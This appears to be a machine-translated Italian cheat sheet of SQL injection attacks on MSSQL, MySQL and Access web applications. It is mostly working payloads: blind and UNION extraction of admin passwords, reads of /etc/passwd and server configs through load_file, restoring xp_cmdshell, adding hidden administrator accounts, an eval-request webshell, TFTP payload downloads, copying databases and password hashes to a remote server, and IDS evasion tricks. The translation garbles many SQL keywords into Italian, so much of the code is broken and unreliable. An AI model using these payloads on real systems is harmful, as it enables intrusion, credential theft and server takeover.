Query cross-database MSSQL (cibo puzzolente!) Scuro)
Spremere fino all'ultima goccia di MS SQL
I riferimenti alle istruzioni SQL e gli oggetti del recordet sono spiegati in dettaglio
Informazioni sulle stored procedure in SQL Server
Crea una webshell con il backup mssql
SQL_Injection applicazioni avanzate
Iniezione SQL cross-site (laokai)
Iniezione SQL Strana (AMANL)
Iniezione SQL avanzata nelle applicazioni SQL Server
Come utilizzare l'iniezione SQL per attraversare directory
Guida delle tecniche di iniezione SQL (Traduttore: demonalex)
Alcuni attacchi ai database SQL
Tecnica di Attacco tramite Iniezione SQL (JSW)
SQL_Injection Applicazioni Avanzate (APACHY)
Metodi Poco Comuni di Iniezione SQL (Guilin Veteran)
Backup di una shell
Parliamo della struttura delle istruzioni di iniezione php+mysql (Heyhehehehe·≯Super· Hei)
Iniezione SQL avanzata con MySQL(angel)
L'injection (My)SQL via PHP
Linguaggio Oracle SQL
Enciclopedia di iniezione manuale SQL
I prerequisiti richiedono strumenti: SQL Query Analyzer e SqlExec Sunx Version ============================================================================================== 1. Determinare se esiste un punto di iniezione ; e 1=1 e 1=2 2. Immagino che il nome della tabella non sia altro che admin admin user user password password, ecc.: e 0<>(seleziona count(*) da *) e 0<>(select count(*) da admin) — Determinare se la tabella admin esiste 3. Indovina il numero di account Se incontri 0< torna alla pagina corretta 1< restituisci la pagina di errore per indicare che il numero di account è 1 e 0<(select count(*) da admin) e 1<(select count(*) dall'admin) 4. Indovina il nome del campo Aggiungi il nome del campo che ci viene in mente tra parentesi len( ). e 1=(select count(*) da admin dove len(*)>0)– e 1=(seleziona count(*) dall'admin dove len(nome utente nome campo)>0) e 1=(seleziona count(*) da admin dove len(_blank>nome del campo password)>0) 5. Indovina la lunghezza di ogni campo Indovina la lunghezza da trasformare >0 finché non viene restituita la pagina corretta e 1=(seleziona count(*) da admin dove len(*)>0) e 1=(select count(*) da admin dove len(name)>6) errore e 1=(seleziona count(*) da admin dove len(name)>5) La lunghezza corretta è 6 e 1=(seleziona count(*) da admin dove len(name)=6) è corretto e 1=(select count(*) da admin dove len(password)>11) è corretta e 1=(select count(*) da admin dove la lunghezza dell'errore len(password)>12) è 12 e 1=(select count(*) da admin dove len(password)=12) è corretta 6. Indovina i personaggi e 1=(seleziona count(*) dall'admin dove left(name,1)=a) — Indovina la prima cifra dell'account utente e 1=(seleziona count(*) dall'admin dove left(name,2)=ab)—Indovina la seconda cifra dell'account utente Basta aggiungere un carattere alla volta per indovinare, indovinare quante ne hai appena indovinato, e il numero di conto verrà estratto (1) Indovina il nome del tavolo
Frasi utilizzate: e esiste (seleziona * dal nome della tabella)
Per esempio: e esiste (seleziona * da admin)
Se la pagina riecheggia correttamente, significa che il nome della tabella che abbiamo indovinato qui è corretto, e se la pagina è sbagliata, significa che il nome della tabella che abbiamo scritto qui è sbagliato
, poi cambia il nome del tavolo e continua a indovinare finché non indovini.
Generalmente, i nomi di tabelle comunemente usati includono admin, manage, user o inseriscilo nell'esecuzione dello strumento (2) Indovina il campo
Frasi utilizzate: e esiste (seleziona il nome del campo dal nome della tabella)
Per esempio: e esiste (seleziona il nome utente dall'admin)
Qui, supponendo che la tabella amministrativa sia quella che ho indovinato correttamente sopra, allora voglio determinare se il campo nome utente esiste, devo usare questa istruzione, se la pagina
Se l'eco del volto è corretto, significa che il nome del campo che abbiamo indovinato qui è corretto, e se la pagina è sbagliata, significa che il nome del campo che abbiamo scritto qui è sbagliato
, poi cambia il nome del campo e continua a indovinare finché non indovini.
Generalmente, i nomi comuni dei campi includono username, password, user, pass, name, pass, pwd, usr, psd e altri campi (3) ordine da
Ordine per Ottenere la somma del numero di campi in quella pagina, preparandosi per la prossima query congiunta (4) Unione Selezionata
1. Se supporti la query congiunta, trova il bit di visualizzazione http://www.xxx.com/product_show.asp?id=1 e la selezione dell'unione 1=2
1,2,3,4,5,6,7,8,9,10,11 Supponiamo che i bit di visualizzazione siano 5,6. Successivamente, dobbiamo solo sostituire i nomi dei campi corrispondenti al nome utente e alla password dell'amministratore con la posizione del bit di visualizzazione qui
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 dall'admin ho trovato il login in background 2. Se la query congiunta non è supportata Il nome utente e la password dell'amministratore non possono essere ottenuti senza una query congiunta - usando la decodifica Ascii verbatim Due Usa l'ordine per per giudicare il numero di bit nella tabella e, se non funziona, usa la selezione unitiva per ordinarli uno per uno; qui assumiamo 8 bit Tre Utilizzare una query congiunta per determinare i bit di visualizzazione Quattro Usa il bit di visualizzazione per trovare il nome del database, la versione del database, 5.0 o superiore può essere iniettata
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,utente(),0x5c, versione(),8 Cinque Con il nome del database, puoi iniziare a ottenere lo schema del nome della tabella = seguito dal valore HEX del nome del database, e indovinare il nome della tabella
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +da+information_schema.colonne+dove+ table_schema=0x666C6965725F6462617365 Sei Il nome della tabella analizzata determina il valore HEX del nome della tabella dell'amministratore=nome tabella, e indovina i campi nella tabella http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO
+column_name),8+ da +information_schema.colonne+dove+table_name=0x7075625F7765626D6173746572 Sette Dopo aver ottenuto i campi nella tabella di amministrazione, prendiamo il contenuto dei campi http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO
+username, 0x5f,userpwd),8+da+pub_webmaster Otto Tool scansiona lo sfondo: accedi per caricare il Trojan dopo averlo trovato, e se non riesci a trovare il file robots.txt puoi accedere Nove Se non riesci a trovare lo sfondo, la password dell'amministratore MYSQL verrà esposta http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(utente,password),8+da+mysql.user Dieci Accedi casualmente a un percorso e il feedback è la pagina predefinita 404 di IIS6, che indica che il server del sito è: Windows+IIS6+php+MySql ambiente c:\\windows\\system32\\inetsrv\\MetaBase.xml Questo percorso può ottenere le informazioni di configurazione del sito web. Istruzioni costrutte http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Undici Analizza il codice e trova l'indirizzo di background Nel primo passo, dobbiamo ottenere la lunghezza dei campi nella tabella Dichiarazioni utilizzate: e (seleziona la lente top 1 (nome del campo) dal nome della tabella)>0 Come cosa: e (seleziona top 1 len(admin_name) da admin)>0 La pagina viene visualizzata normalmente, la lunghezza del campo admin_name è superiore a 0, e io presenterò:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 La pagina mostra un errore che indica che il campo è compreso tra 0 e 10, e la lunghezza è 5 usando la dicotomia Usando lo stesso metodo per determinare la lunghezza del campo per la password dell'amministratore, ottengo una lunghezza di 16 Passo 2 Ora passiamo al secondo passaggio: prendiamo un certo carattere nel campo e otteniamo il codice ASCII del carattere, che viene usato
Affermazione: e (seleziona top 1 asc(mid(nome del campo, N,1)) dal nome della tabella)>0 Lasciatemi guardare questa frase separatamente, prima la funzione più interna (username, 1,1), che è il primo carattere del campo admin_name, N
indica che i primi caratteri devono essere intercettati, Poi la funzione esterna asc(), che converte i caratteri intercettati dalla funzione intermedia in codice ASCII, il top 1 più esterno, rappresenta il campo di ritorno del primo posto
Un record, quindi, Il ">0" alla fine serve a confrontare il codice ASCII convertito con questo numero, e infine ottenere l'intercettazione cambiando costantemente l'ultimo valore
Trova la specificità di questo personaggio Codice ASCII Sottomissione:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 La pagina viene visualizzata normalmente, indicando che il codice ASCII di questo carattere è superiore a 30. Sottomissione:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 La pagina viene visualizzata normalmente, indicando che il codice ASCII di questo carattere è superiore a 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Il codice ASCII che ho ottenuto per questo personaggio è 97 Confronta la tabella ASCII: Si può concludere che il primo carattere sia "a". Poi giudicherò il codice ASCII del secondo carattere.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 La pagina viene visualizzata normalmente, indicando che il codice ASCII del carattere è superiore a 90, e l'ultimo valore viene sempre cambiato Lo stesso metodo ha fornito la password dell'amministratore, e il risultato che ho ottenuto è stato:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 e 1=(seleziona il primo 1 count(*) da Admin dove Asc(mid(pass,5,1))=51) – Questa query può indovinare l'utente cinese e la _blank> password. Basta sostituire i seguenti numeri con il codice cinese ASSIC
Converti in personaggi.
raggruppare per users.id che ha 1=1–www.myhack58.com Raggruppa per users.id, username, user.password, users.privs con 1=1– ; inserisci in users values( 666, attacker, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME DA INFORMATION_blank>_SCHEMA. COLONNE Dove
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME DA INFORMATION_blank>_SCHEMA. COLONNE Dove
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME DA INFORMATION_blank>_SCHEMA. COLONNE Dove
TABLE_blank>_NAME=logintable Dove COLUMN_blank>_NAME NON IN
(login_blank>_id,login_blank>_name)- UNION Seleziona TOP 1 login_blank>_name DA logintable- UNION Seleziona la password TOP 1 DA logintable dove login_blank>_name=Rahul– Guarda la patch giocata dal server _blank> = patch SP4 sbagliata, rete di sicurezza black bar e 1=(seleziona @@VERSION)–
Guarda i permessi dell'account _blank> di connessione al database, e restituisce la normalità, dimostrando che è il permesso sysadmin del ruolo _blank> server. e 1=(Seleziona IS_blank>_SRVROLEMEMBER(sysadmin))–
Determina l'account database _blank> collegato. (Usa l'account SA per connettere e restituire normale = dimostrare che l'account collegato è SA) e sa=(Seleziona System_blank>_user)– e user_blank>_name()=dbo– e 0<>(select user_blank>_name()–
Vedi se xp_blank>_cmdshell cancella e 1=(Seleziona count(*) FROM master.dbo.sysobjects Dove xtype = X E nome = xp_blank>_cmdshell)
–
xp_blank>_cmdshell viene eliminato, ripristinato e supporta il recupero assoluto del percorso ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== permesso del database è esposto al codice di percorso fisico del sito web
========================================================================== 1. Tabella di caduta [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Crea tabella
2、 elimina [jm_tmp]; inserire [jm_tmp] esecutivo master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Inserisci la directory del sito nel campo tabella
3, e (seleziona il cast top 1([data] come nvarchar(4000) char(124) dall'ordine [jm_tmp] di [data]
desc)=0 '//Campo esposto
4. Drop Table [jm_tmp] -- elimina questa tabella. Perché il comando prenda il guscio
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Altri percorsi delle stazioni ======================load_file() Informazioni sensibili comunemente utilizzate =========================================== 1、 sostituire(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) Le due opzioni sopra sono per visualizzare un file PHP che visualizza completamente il codice. Ci sono momenti in cui alcuni caratteri non vengono sostituiti, come "<" invece di "space" che restituisce
Pagina web. E il codice non può essere visualizzato.
3. load_file(char(47)) può elencare la directory root dei sistemi FreeBSD e Sunos
4. Visualizza il file di configurazione virtuale Linux APACHE in /etc/httpd/conf/httpd.conf o /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf oppure C:\apache\conf\httpd.conf per visualizzare WINDOWS
File System Apache
6. c:/Resin-3.0.14/conf/resin.conf Visualizza le informazioni di configurazione dei file in resina del sito web sviluppato da jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf per visualizzare l'host virtuale JSP configurato sul sistema Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /temi/darkblue_orange/layout.inc.php phpmyadmin esplosione
11. C:\Windows\system32\inetsrv\MetaBase.xml Visualizza il file di configurazione virtuale dell'host di IIS
12. /usr/local/resin-3.0.22/conf/resin.conf per visualizzare il file di configurazione RESIN per la 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Uguale a quanto sopra
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtual host
15. /etc/sysconfig/iptables dipende dalla policy del firewall
16. /usr/local/app/php5 con impostazioni equivalenti a PHP php.ini
17. File di configurazione MYSQL di /etc/my.cnf
18. /etc/versione di Red Hat per il sistema di rilascio
19 、C:\mysql\data\mysql\user. MYD esiste nella password utente nel sistema MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 per visualizzare l'IP.
21. /usr/local/app/php5 b/php.ini //impostazioni legate a PHP
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // impostazioni del sito virtuale
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue mostra le informazioni di distribuzione del kernel Linux
26、/etc/ftpuser
27. Controlla il file di registro operativo sotto LINUX user.bash_history o .bash_profile
28、/ecc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/tronchi/error.log .. /apache/logs/access.log .. /.. /apache/tronchi/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/tronchi/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/tronchi/error.log .. /apache/logs/access.log .. /.. /apache/tronchi/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/tronchi/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Fai tu stesso l'esperimento PING inverso ; usa il maestro; dichiarare @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Esecutivo
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Aggiungi un account ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Crea un disco elettronico di directory virtuale: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Attributi di accesso: (scrivendo su una webshell) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Trucco _blank> speciale per burstare la libreria: :%5c=\ oppure modificare %5 con / e \ per fare commit e 0<>(seleziona i primi 1 percorsi dalla nuova tabella)–
Prendi il nome del database (da 1 a 5 sono gli ID del sistema, e puoi giudicarli sopra 6) e 1=(seleziona nome da master.dbo.sysdatabases dove dbid=7)– e 0<>(select count(*) da master.dbo.sysdatabases dove name>1 e dbid=6) Invia dbid a turno = 7,8,9.... Scopri più nomi _blank> database
e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=U) si inserisce in una tabella assumendo admin e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=you e name not in (Admin)).
Altri tavoli. e 0<>(select count(*) da bbs.dbo.sysobjects dove xtype=tu e name=admin e uid>(str(id))) Il valore numerico dell'UID è assunto 18779569 uid=id e 0<>(seleziona il nome top 1 da bbs.dbo.syscolumns dove id=18779569) ottieni un campo admin, false
Impostato su user_blank>_id e 0<>(seleziona il nome top 1 da bbs.dbo.syscolumns dove id=18779569 e name non in (id,...)) per esporre altri campi e 0<(seleziona user_blank>_id da BBS.dbo.admin dove username>1) per ottenere il nome utente Di conseguenza, puoi ottenere _blank> password。。。。。 Supponiamo che ci siano campi come user_blank>_id nome utente, password, ecc
e 0<>(select count(*) da master.dbo.sysdatabases dove name>1 e dbid=6) e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=U) per ottenere il nome della tabella e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=you e name not in(Address)) e 0<>(select count(*) da bbs.dbo.sysobjects dove xtype=you e name=admin e uid>(str(id)))
Determina il valore dell'id e 0<>(seleziona il nome top 1 da BBS.dbo.syscolumns dove id=773577794) tutti i campi
?id=-1 union seleziona 1,2,3,4,5,6,7,8,9,10,11,12,13,* da admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 dall'admin (Union, Access è anche facile da usare)
Prendi il percorso WEB ; Crea tabella [DBO]. [scambio] ([swappass][char](255)); – e (seleziona il top 1 swappass da swap)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Maestro.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEMA
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT inserire nei valori di paths(paths(@test)– ; usa ku1; – ; create table cmd (immagine str); – Creare un cmd di tabella del tipo immagine 1. Il modo per rimuovere il processo di estensione xp_cmdshell è utilizzare la seguente affermazione:
if exists (seleziona * da dbo.sysobjects dove id=object_id(N'[dbo].[ xpcmdshell]') e
OBJECTPROPERTY(id,N'IsExtendedProc')=1) executive sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Il modo per aggiungere xp_cmdshell processo di estensione è utilizzare la seguente affermazione:
(1) Analizzatore di query SQL
sp_addextendedproc xp_cmdshell.@dllname='xplog70.dll'
(2) Per prima cosa, compilare percentuali nell'opzione Formattazione di SqlExec Sunx Version e inserirla nell'opzione CMD
sp_addextendedproc 'xp_cmdshell', xpsql70.dll'
rimuovere
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Esistono xp_blank>_cmdshell processi di test: ; Maestro esecutivo... xp_blank>_cmdshell dir ; executive master.dbo.sp_blank>_addlogin jiaoniang$; – Aggiungere account SQL ; executive master.dbo.sp_blank>_password null, jiaoniang$, 1866574; – ; executive master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; Utente master.dbo.xp_blank>_cmdshell Esecutivo Jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; Exec master.dbo.xp_blank>_cmdshell NET Localgroup Administrators jiaoniang$ /add; – Maestro esecutivo... xp_blank>_servicecontrol inizio, programma l'inizio _blank> servizio Maestro esecutivo... xp_blank>_servicecontrol inizio, server ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c NET localgroup administrators jiaoniang$ /add ; Maestro esecutivo... xp_blank>_cmdshell tftp - i youip get file.exe – Carica file usando TFTP
; dichiarare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; dichiare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; dichiarare @a; set @a=db_blank>_name(); Backup del database @a su disco=il tuo IP La tua directory condivisa bak.dat Se sono limitati, sì. seleziona * da openrowset(_blank>sqloledb,server; SA; ,seleziona OK! Esecutivo
master.dbo.sp_blank>_addlogin hax)
Struttura della Query: Seleziona * DA notizie Dove id=... E argomento=... E ..... adminand 1=(seleziona count(*) da [user] dove username=victim e right(left(userpass,01),1)=1)
e userpass <> seleziona 123; – ; usa il maestro; – :a o nome come fff%; – Mostra un utente di nome ffff. e 1<>(seleziona count(email) da [utente]); – ; Aggiornamento [utenti] imposta email=(seleziona il nome top 1 da sysobjects dove xtype=tu e status>0) dove
nome=ffff; – ; Aggiornamento [utenti] Imposta email=(seleziona l'ID top 1 da sysobjects dove xtype=you e name=ad) dove
nome=ffff; – ; Aggiornamento [utenti] imposta email=(seleziona il nome top 1 da sysobjects dove xtype=tu e id>581577110)
dove name=ffff; – ; Aggiornamento [utenti] imposta email=(seleziona top 1 count(id) dalla password) dove name=ffff; – ; Aggiorna [utenti] imposta email=(seleziona top 1 PWD dalla password dove ID=2) dove Name=FFFF; – ; Aggiornamento [utenti] Imposta email=(seleziona il nome top 1 dalla password dove id=2) dove nome=ffff; – La dichiarazione sopra è di ottenere la prima tabella utente nel database _blank> e inserire il nome della tabella nel campo email dell'utente ffff. Visualizzando il profilo utente di ffff, puoi ottenere la prima tabella chiamata AD Poi ottieni l'ID di questa tabella secondo il nome della tabella ad per ottenere il nome della seconda tabella
inserire in users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– inserisci nei valori degli utenti (667,123,123,0xffff)– inserisci nei valori degli utenti (123, admin–, password, 0xffff)– ; e user>0 ; e (seleziona count(*) da sysobjects)>0 ; e (select count(*) da mysysobjects)>0 // per il database access_blank>
Enumera il nome della tabella dei dati ; Aggiorna AAA Set AAA=(seleziona il nome top 1 da sysobjects dove xtype=you e status>0); – Qui viene aggiornato il nome della prima tabella al campo AAA. Leggi la prima tabella, e la seconda può essere letta così (aggiungi e nomina la condizione<> il nome della tabella che hai appena ricevuto). ; Aggiorna AAA Set aaa=(seleziona il nome top 1 da sysobjects dove xtype=tu e status>0 e
nome<>voto); – Poi id=1552 e esiste (seleziona * da aaa dove aaa>5) Leggi la seconda tabella e leggila una per una finché non ne rimane più. Il campo di lettura appare così: ; aggiorna aaa set aaa=(seleziona top 1 col_blank>_name(object_blank>_id(nome tabella),1)); – Poi id=152 e exists (seleziona * da aaa dove aaa>5) riceve un errore e ottiene il nome del campo ; aggiorna aaa set aaa=(seleziona top 1 col_blank>_name(object_blank>_id(nome tabella),2)); – Poi id=152 e exists (seleziona * da aaa dove aaa>5) riceve un errore e ottiene il nome del campo
[Ottieni nome della tabella dati] [Aggiorna il valore del campo con il nome della tabella e poi leggi il valore di questo campo per ottenere il nome della tabella] Aggiorna la tabella nome Set Field=(seleziona il nome top 1 da sysobjects dove xtype=tu e status>0 [ e nome<>
Il nome della tabella che ottieni Trova uno più uno]) [dove condizione] seleziona il nome top 1 da sysobjects dove xtype=tu e
Stato>0 e nome non in(tabella1,tabella2,...) Creare un account amministratore database e un account amministratore di sistema _blank> _blank> iniezione di vulnerabilità tramite SQLSERVER [L'account corrente deve essere il gruppo SYSADMIN]
[Ottenere nome del campo Datatable] [Aggiorna il valore del campo con il nome del campo, e poi leggi il valore di questo campo per ottenere il nome del campo] Aggiorna Nome Tabella Set Field=(Select Top 1 col_blank>_name(object_blank>_id (Nome della tabella dati per Query), colonna del Campo
Ad esempio: 1) [dove condizione]
Bypassare il rilevamento IDS [Usando variabili] ; dichiarare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; dichiare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Apri il database remoto _blank> Sintassi di base select * da OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, seleziona * dalla tabella1 ) Parametri: (1) Nome OLEDB del fornitore 2. Il parametro della stringa di connessione può essere qualsiasi porta da connettere, come ad esempio select * da OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,
seleziona * dalla tabella 3. Copia l'intero database _blank> dell'host di destinazione e inserisci tutte le tabelle remote nella tabella locale.
Sintassi di base: inserire in OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, seleziona * dalla tabella 1) seleziona
* dalla tabella 2 Questa istruzione line copia tutti i dati dalla tabella 2 sull'host target alla tabella 1 nel database remoto _blank>. Riparazioni appropriate in applicazione pratica
Cambia l'indirizzo IP e la porta della stringa di connessione per indicare dove serve, ad esempio: inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona
* dalla Tabella1) seleziona * dalla Tabella2 inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona
* da _blank>_sysdatabases) seleziona * da master.dbo.sysdatabases inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona
* da _blank>_sysobjects) seleziona * da user_blank>_database.dbo.sysobjects inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona
* da _blank>_syscolumns) seleziona * da user_blank>_database.dbo.syscolumns Replica _blank> database: inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona
* dalla tabella 1) seleziona * dal database.. Tabella 1 inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona
* dalla tabella 2) seleziona * dal database.. Tabella 2
L'hash della password che copia l'accesso _blank> la password della tabella hash (HASH) è memorizzato nei sysxlogin. Ecco come: inserisci in OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona * da _blank>_sysxlogins)
seleziona * da database.dbo.sysxlogins Una volta ottenuto l'hash, puoi forzarlo con forza bruta.
Per attraversare la directory: Prima, crea una tabella temporanea: temp ; crea la temperatura della tabella (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; inserire master.dbo.xp_blank>_availablemedia esecutivo temporaneo; – Recupera tutti i dischi attuali ; Inserisci nel temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Ottenere un elenco di sottodirectory ; inserire nell'executor temp(id,num1) master.dbo.xp_blank>_dirtree c:\; – Ottenere la struttura ad albero delle directory per tutte le sottodirectory,
